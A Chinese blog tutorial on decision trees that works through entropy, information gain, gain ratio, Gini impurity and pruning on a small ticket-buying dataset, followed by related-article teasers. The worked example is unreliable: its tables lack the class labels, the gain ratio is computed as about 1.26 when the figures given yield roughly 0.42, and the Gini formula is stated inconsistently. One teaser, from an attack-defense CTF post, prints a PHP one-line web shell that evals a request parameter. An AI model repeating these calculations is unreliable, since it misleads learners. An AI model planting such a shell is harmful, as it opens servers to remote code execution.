机器学习系列-决策树

文章目录

  • 1. 决策树原理
    • 决策树的构建流程
  • 2. 案例
    • 步骤 1:计算当前节点的熵
    • 步骤 2:对每个特征计算分裂后的熵
      • (1) 按“天气”分裂数据集
      • (2) 计算分裂后的加权熵
    • 步骤 3:计算分裂依据
      • 信息增益
      • 信息增益率
      • GINI系数(二叉树)
    • 步骤 4:选择分裂节点
      • 停止条件
      • 继续分裂
      • 示例
    • 步骤 5:剪枝
      • 示例数据集
      • 生成的决策树
      • 1. 预剪枝
      • 2. 后剪枝
      • 剪枝的效果
      • 对比

1. 决策树原理

决策树是一种以树状结构进行决策和分类的监督学习算法,适用于分类回归问题。它通过递归地将数据集分割成更小的子集,最终生成一个类似于树状的模型。

决策树的构建流程

  1. 特征选择:

    • 决策树选择某个特征对数据集进行分割,找到能够最优划分数据的特征。常用的分裂标准包括:
      • 信息增益(ID3算法)
      • 信息增益比(C4.5算法)
      • 基尼指数(CART算法)
  2. 数据分裂:

    • 按照选择的特征,将数据集分割成若干子集。
  3. 递归构建:

    • 对每个子集重复上述步骤,直到满足停止条件(如节点纯度达到某个阈值或节点样本数不足)。
  4. 终止条件:

    • 达到树的最大深度。
    • 节点中的样本数低于最小分割数。
    • 分裂后的增益低于某个阈值。

2. 案例

一个小型分类数据集,目标是预测是否买票:

其它特征天气是否买票
晴天
阴天
雨天
晴天
阴天
雨天

步骤 1:计算当前节点的熵

熵公式:

H ( D ) = − ∑ k = 1 K p k log ⁡ 2 p k H(D)=-\sum_{k=1}^K p_k \log_2 p_k H(D)=k=1Kpklog2pk

  • D 为当前数据集;
  • K为类别数量;
  • pk为类别 k 的概率。

当前数据集中:

  • P(买票)=3 / 6​=0.5;
  • P(不买票)=3 / 6​=0.5。

熵为:

H ( D ) = − ( 0.5 log ⁡ 2 0.5 + 0.5 log ⁡ 2 0.5 ) = − ( 0.5 × − 1 + 0.5 × − 1 ) = 1 H(D) = - (0.5 \log_2 0.5 + 0.5 \log_2 0.5) = - (0.5 \times -1 + 0.5 \times -1) = 1 H(D)=(0.5log20.5+0.5log20.5)=(0.5×1+0.5×1)=1

步骤 2:对每个特征计算分裂后的熵

以特征“天气”为例,取值为“晴天”“阴天”“雨天”。根据此特征分裂数据集:

(1) 按“天气”分裂数据集

分裂结果为:

  • “晴天”:{否, 是}
  • “阴天”:{是, 是}
  • “雨天”:{否, 否}

分别计算每个子集的条件熵:

  • 晴天:
    H ( 晴天 ) = − ( 0.5 log ⁡ 2 0.5 + 0.5 log ⁡ 2 0.5 ) = 1 H(\text{晴天}) = - (0.5 \log_2 0.5 + 0.5 \log_2 0.5) = 1 H(晴天)=(0.5log20.5+0.5log20.5)=1
  • 阴天:
    H ( 阴天 ) = − ( 1 log ⁡ 2 1 + 0 log ⁡ 2 0 ) = 0 H(\text{阴天}) = - (1 \log_2 1 + 0 \log_2 0) = 0 H(阴天)=(1log21+0log20)=0
  • 雨天:
    H ( 雨天 ) = − ( 0 log ⁡ 2 0 + 1 log ⁡ 2 1 ) = 0 H(\text{雨天}) = - (0 \log_2 0 + 1 \log_2 1) = 0 H(雨天)=(0log20+1log21)=0

(2) 计算分裂后的加权熵

加权熵公式:

H split ( D ) = ∑ v = 1 V ∣ D v ∣ ∣ D ∣ H ( D v ) H_\text{split}(D) = \sum_{v=1}^V \frac{|D_v|}{|D|} H(D_v) Hsplit(D)=v=1VDDvH(Dv)

  • |D_v| 为分裂后子集的大小;
  • H(D_v) 为子集的熵。

加权熵:

H s p l i t ​ ( D ) = 2 6 H ( 晴天 ) + 2 6 H ( 阴天 ) + 2 6 H ( 雨天 ) = 2 6 × 1 + 2 6 × 0 + 2 6 × 0 = 2 6 = 0.333 Hsplit​(D)=\frac{2}{6}H(晴天)+\frac{2}{6}H(阴天)+\frac{2}{6}H(雨天) = \frac{2}{6} \times 1 + \frac{2}{6} \times 0 + \frac{2}{6} \times 0 = \frac{2}{6} = 0.333 Hsplit(D)=62H(晴天)+62H(阴天)+62H(雨天)=62×1+62×0+62×0=62=0.333

步骤 3:计算分裂依据

信息增益

计算以天气作为节点进行分裂的信息增益:

信息增益 ( 节点 = 天气 ) = H ( D ) − H split ( D ) = 1 − 0.333 = 0.667 \text{信息增益}(节点=天气) = H(D) - H_\text{split}(D) = 1 - 0.333 = 0.667 信息增益(节点=天气)=H(D)Hsplit(D)=10.333=0.667

信息增益率

计算以天气作为节点进行分裂的信息增益率:

定义固有值(Split Information)固有值是衡量分裂结果的复杂性,计算公式为:

固有值 (SplitInfo) = − ∑ v = 1 V ∣ D v ∣ ∣ D ∣ log ⁡ 2 ∣ D v ∣ ∣ D ∣ ​ \text{固有值 (SplitInfo)} = -\sum_{v=1}^V \frac{|D_v|}{|D|} \log_2 \frac{|D_v|}{|D|}​ 固有值 (SplitInfo)=v=1VDDvlog2DDv

  • |D_v|:特征值 v 的样本数量;
  • |D|:总样本数量;
  • V:特征取值的数量。

信息增益率 ( G a i n R a t i o ) = 信息增益 ( G a i n ) 固有值 ( S p l i t I n f o ) = 0.667 − ( 2 6 × l o g 2 2 6 + 2 6 × l o g 2 2 6 + 2 6 × l o g 2 2 6 ) ≈ 1.26 信息增益率 (Gain Ratio)=\frac{信息增益 (Gain)}{固有值 (SplitInfo)}= \frac{0.667} {- (\frac{2}{6} \times log_2 \frac{2}{6} + \frac{2}{6} \times log_2 \frac{2}{6} + \frac{2}{6} \times log_2 \frac{2}{6})} ≈ 1.26 信息增益率(GainRatio)=固有值(SplitInfo)信息增益(Gain)=(62×log262+62×log262+62×log262)0.6671.26

GINI系数(二叉树)

计算以天气作为节点进行分裂的GINI系数:
节点的 Gini 系数:

G ( D ) = ∑ k = 1 K p k ( 1 − p k ) = ( 0. 5 2 + 0. 5 2 ) = 0.5 G(D) = \sum_{k=1}^K p_k(1-p_k) = (0.5^2+0.5^2)=0.5 G(D)=k=1Kpk(1pk)=(0.52+0.52)=0.5

  • K:类别数量;
  • p_k​:类别 k 的样本比例。

分裂后的加权 Gini 系数:

G ( 晴天 ) = 0. 5 2 + 0. 5 2 = 0.5 G(晴天)=0.5^2+0.5^2=0.5 G(晴天)=0.52+0.52=0.5
G ( 阴天 ) = 1 × 0 + 0 × 1 = 0 G(阴天)=1 \times 0 +0 \times 1=0 G(阴天)=1×0+0×1=0
G ( 雨天 ) = 0 × 1 + 1 × 0 = 0 G(雨天)=0 \times 1+1 \times 0=0 G(雨天)=0×1+1×0=0
G split ( D ) = ∑ v = 1 V ∣ D v ∣ ∣ D ∣ G ( D v ) = 2 6 × 0.5 + 2 6 × 0 + 2 6 × 0 ≈ 0.167 G_\text{split}(D) = \sum_{v=1}^V \frac{|D_v|}{|D|} G(D_v) = \frac{2}{6} \times 0.5 + \frac{2}{6} \times 0 + \frac{2}{6} \times 0 ≈ 0.167 Gsplit(D)=v=1VDDvG(Dv)=62×0.5+62×0+62×00.167

  • V:特征的取值数量;
  • |D_v|:分裂后每个子集的样本数量;
  • G(D_v):子集的 Gini 系数。

GINI系数 ( 节点 = 天气 ) = G ( D ) − G split ( D ) = 0.5 − 0.167 = 0.333 \text{GINI系数}(节点=天气) = G(D) - G_\text{split}(D) = 0.5 - 0.167 = 0.333 GINI系数(节点=天气)=G(D)Gsplit(D)=0.50.167=0.333

步骤 4:选择分裂节点

选择分裂评估指标中值最高的特征作为节点进行分裂

以天气特征为例,会从根节点分裂出三个子节点:A1( D 晴天 D_\text{晴天} D晴天)​、A2( D 阴天 D_\text{阴天} D阴天)​、A3( D 雨天 D_\text{雨天} D雨天)​

对子节点 A1​、A2​、A3​​ 逐一检查是否需要继续分裂:

停止条件

  1. 数据集中所有样本的类别相同

    • 如果 D 节点 D_\text{节点} D节点​ 中的样本全为“是”或“否”,则该节点不再分裂,设为叶节点,标记类别。
    • 如:节点 A2 的数据集中样本全为“是”,直接将其标记为“是”。
  2. 没有可用的分裂特征

    • 如果所有候选特征都已用完,则取数据集中的多数类作为叶节点类别。
  3. 数据集为空

    • 如果子节点对应的数据集为空(如:某特征值下没有样本),则设置该节点为叶节点,类别标记为父节点中样本的多数类。

继续分裂

  • 如果未满足上述停止条件,则递归对子节点执行相同的分裂过程。

示例

  1. 初始数据按“天气”分裂,生成子节点 A1(晴天)、A2(阴天)、A3(雨天)。
  2. 检查子节点:
    • D 晴天 D_\text{晴天} D晴天​:包含两类,继续分裂;
    • D 阴天 D_\text{阴天} D阴天​:全为“是”,设为叶节点;
    • D 雨天 ​ D_\text{雨天}​ D雨天:全为“否”,设为叶节点。
  3. D 晴天 D_\text{晴天} D晴天​​ 再选特征继续分裂。

通过递归,最终生成完整的决策树。

步骤 5:剪枝

剪枝是减少决策树复杂度、提升泛化能力的重要方法。剪枝分为 预剪枝(Pre-pruning)后剪枝(Post-pruning)。以下是剪枝的一个具体示例:

示例数据集

天气温度是否刮风湿度是否买票
晴天
晴天
阴天
阴天
雨天
雨天

生成的决策树

初始决策树为:

在这里插入图片描述

1. 预剪枝

预剪枝的思想:在分裂节点前,提前评估分裂是否有意义。如果分裂不能显著提高决策树性能,则阻止分裂。

过程

  1. 节点 1:是否刮风?

    • 在当前节点分裂前,计算 信息增益Gini 系数减少量
    • 如果分裂的增益不足(例如小于设定阈值 0.1),则阻止分裂,直接将当前节点作为叶节点。
  2. 假设分裂后的性能提升不明显:

    • 不再继续分裂。
    • 节点 1 直接成为叶节点,类别标记为“否”(因数据集中“否”的样本更多)。

结果树

节点1:叶子节点 -> 否


2. 后剪枝

后剪枝的思想:先生成完整决策树,再通过后序遍历判断是否需要剪掉子树,用叶节点代替。

过程

  1. 从叶节点往上回溯,逐个评估子树是否需要剪枝。

  2. 节点 2:天气?

    • 子树分类结果:
      • 晴天 -> 否
      • 雨天 -> 否
    • 两个叶子节点的类别相同,且整棵子树的分类错误率与将节点 2 直接作为叶节点的错误率相同。
    • 剪枝策略:将节点 2 直接替换为叶节点“否”。
  3. 节点 3:湿度?

    • 子树分类结果:
      • 高 -> 是
      • 中 -> 是
    • 两个叶子节点的类别相同,且整棵子树的分类错误率与将节点 3 直接作为叶节点的错误率相同。
    • 剪枝策略:将节点 3 直接替换为叶节点“是”。

**结果树

节点1:是否刮风? ├── 是 -> 叶子1:否 └── 否 -> 叶子2:是


剪枝的效果

  1. 模型简化:剪枝后,树结构更简单,更易于理解。
  2. 泛化能力提升:剪枝减少了对训练集的过拟合,提升了模型在测试集上的性能。

对比

  • 原始树错误率:假设在测试集上的错误率为 15%。
  • 剪枝后错误率:测试集错误率下降到 10%,显示模型的泛化性能提升。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/61640.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android 网络通信(三)OkHttp实现登入

学习笔记 目录 一. 先写XML布局 二、创建 LoginResponse 类 :封装响应数据 目的和作用: 三、创建 MyOkHttp 类 :发送异步请求 代码分析 可能改进的地方 总结 四、LoginActivity 类中实现登录功能 详细分析与注释: 总结: 改进建议: 零、响应数据样例 通过 P…

移动端相关 BFC CSS原子化 ✅

移动端相关 设备宽度&视口 设备宽度是指设备屏幕的实际物理宽度,通常以像素(px)表示。它是固定的,取决于设备的硬件。不同设备(如手机、平板、桌面等)有不同的设备宽度。 常被提及的视口可被分为3种…

resnet50,clip,Faiss+Flask简易图文搜索服务

一、实现 文件夹目录结构&#xff1a; templates -----upload.html faiss_app.py 前端代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widt…

爬虫重定向问题解决

一&#xff0c;问题 做爬虫时会遇到强制重定向的链接&#xff0c;此时可以手动获取重定向后的链接 如下图情况 第二个链接是目标要抓取的&#xff0c;但它是第一个链接重定向过去的&#xff0c;第一个链接接口状态也是302 二&#xff0c;解决方法 请求第一个链接&#xff0c…

一个小的可编辑表格问题引起的思考

11.21工作中遇到的问题 预期&#xff1a;当每行获取红包金额的时候若出现错误&#xff0c;右侧当行会出现提示 结果&#xff1a;获取红包金额出现错误&#xff0c;右侧对应行并没有出现错误提示 我发现&#xff0c;当我们设置readonly的时候&#xff0c;其实render函数依旧是…

解决 vxe-table v3.9 + iview 或者 view-design 中使用 Select 后无法选中的问题

官网文档&#xff1a;https://vxetable.cn 在开发 vue 项目中&#xff0c;使用 vxe-table 时&#xff0c;当同时配合 iview 或者 view-design 组件库使用时&#xff0c;发现一个问题&#xff0c;就是在单元格中渲染 Select 时&#xff0c;会导致下拉选项无法被选中&#xff0c…

「Mac玩转仓颉内测版27」基础篇7 - 字符串类型详解

本篇将介绍 Cangjie 中的字符串类型&#xff0c;包括字符串的定义、字面量形式、插值表达、常用操作及应用场景&#xff0c;帮助开发者熟练掌握字符串的使用。 关键词 字符串类型定义字符串字面量插值字符串字符串拼接常用操作 一、字符串类型概述 在 Cangjie 中&#xff0c;…

一种简单高效的RTSP流在线检测方法,不需要再过渡拉流就可以获取设备状态以及对应音视频通道与编码格式

平台如何检测一路RTSP流是否在线&#xff1f; 在之前的流媒体平台方案中&#xff0c;我们都是通过定时RTSP拉流的方式&#xff0c;走一个完整的RTSP流程&#xff1a;包括OPTIONS、DESCRIBE、SETUP、PLAY、RTP收流&#xff0c;这种方式去取流&#xff0c;然后取到流之后进行流解…

Excel中超链接打开文件时报错 “打开此文件的应用程序没有注册“ 的一个解决办法

需要在Excel中快速打开.bas后缀的文件&#xff0c;所以添加了文件超链接&#xff0c;但是在打开文件的时候报错 “打开此文件的应用程序没有注册” 找到文件直接双击是可以正常打开的&#xff0c;说明是哪里有问题&#xff0c;导致Excel不能找到可以打开文件的程序&#xff0c…

高效集成:金蝶盘亏单数据对接管易云

金蝶盘亏单数据集成到管易云的技术实现 在企业日常运营中&#xff0c;数据的高效流转和准确对接是确保业务顺利进行的关键。本文将聚焦于一个具体的系统对接集成案例&#xff1a;如何将金蝶云星空中的盘亏单数据无缝集成到管易云的其他出库模块。 为了实现这一目标&#xff0…

神经网络问题之一:梯度消失(Vanishing Gradient)

梯度消失&#xff08;Vanishing Gradient&#xff09;问题是深度神经网络训练中的一个关键问题&#xff0c;它主要发生在反向传播过程中&#xff0c;导致靠近输入层的权重更新变得非常缓慢甚至几乎停滞&#xff0c;严重影响网络的训练效果和性能。 图1 在深度神经网络中容易出现…

单神经元 PID 解耦控制

单神经元 PID 解耦控制是一种将单神经元自适应控制与解耦控制相结合的方法&#xff0c;适用于多输入多输出&#xff08;MIMO&#xff09;系统。其核心是利用单神经元的自适应能力实现 PID 参数在线调整&#xff0c;同时通过解耦策略减少变量之间的相互影响&#xff0c;提高控制…

数据库类型介绍

1. 关系型数据库&#xff08;Relational Database, RDBMS&#xff09;&#xff1a; • 定义&#xff1a;基于关系模型&#xff08;即表格&#xff09;存储数据&#xff0c;数据之间通过外键等关系相互关联。 • 特点&#xff1a;支持复杂的SQL查询&#xff0c;数据一致性和完整…

线性回归 - 最小二乘法

线性回归 一 简单的线性回归应用 webrtc中的音视频同步。Sender Report数据包 NTP Timestamp&#xff08;网络时间协议时间戳&#xff09;&#xff1a;这是一个64位的时间戳&#xff0c;记录着发送SR的NTP时间戳&#xff0c;用于同步不同源之间的时间。RTP Timestamp&#xff1…

《让照片或视频中的人对口型读文稿的APP》

《让照片或视频中的人对口型读文稿的APP》 剪映 功能特点&#xff1a; 操作简单&#xff0c;容易上手。它有丰富的音频功能&#xff0c;你可以导入自己想要的文稿音频。在视频编辑方面&#xff0c;能精确剪辑视频片段&#xff0c;调整播放速度&#xff0c;使人物的口型和音频更…

AWD脚本编写_1

AWD脚本编写_1 shell.php&#xff08;放在网站根目录下&#xff09; <?php error_reporting(0); eval($_GET["yanxiao"]); ?>脚本编写成功 后门文件利用与解析 import requests import base64def get_flag(url, flag_url, method, passwd, flag_path):cmd…

Linux环境基础开发工具的使用(yum、vim、gcc、g++、gdb、make/Makefile)

目录 Linux软件包管理器 - yum Linux下安装软件包的方式 认识yum 查找软件包 安装软件 如何实现本地机器和云服务器之间的文件互传 卸载软件 Linux编辑器 - vim vim的基本概念 vim下各模式的切换 批量化注释 vim的简单配置 Linux编译器 - gcc/g gcc/g的作用 gcc/g语…

IDEA如何设置编码格式,字符编码,全局编码和项目编码格式

前言 大家好&#xff0c;我是小徐啊。我们在开发Java项目&#xff08;Springboot&#xff09;的时候&#xff0c;一般都是会设置好对应的编码格式的。如果设置的不恰当&#xff0c;容易造成乱码的问题&#xff0c;这是要避免的。今天&#xff0c;小徐就来介绍下我们如何在IDEA…

【Redis】实现点赞功能

一、实现笔记点赞 使用redis实现点赞功能&#xff0c;对于一个笔记来说&#xff0c;不同用户只能是点赞和没点赞&#xff0c;点赞过的笔记再点击就应该取消点赞&#xff0c;所以实际上根据需求&#xff0c;我们只需要将点赞的数据存到对应的笔记里&#xff0c;查看对应的笔记相…

InstantStyle容器构建指南

一、介绍 InstantStyle 是一个由小红书的 InstantX 团队开发并推出的图像风格迁移框架&#xff0c;它专注于解决图像生成中的风格化问题&#xff0c;旨在生成与参考图像风格一致的图像。以下是关于 InstantStyle 的详细介绍&#xff1a; 1.技术特点 风格与内容的有效分离 &a…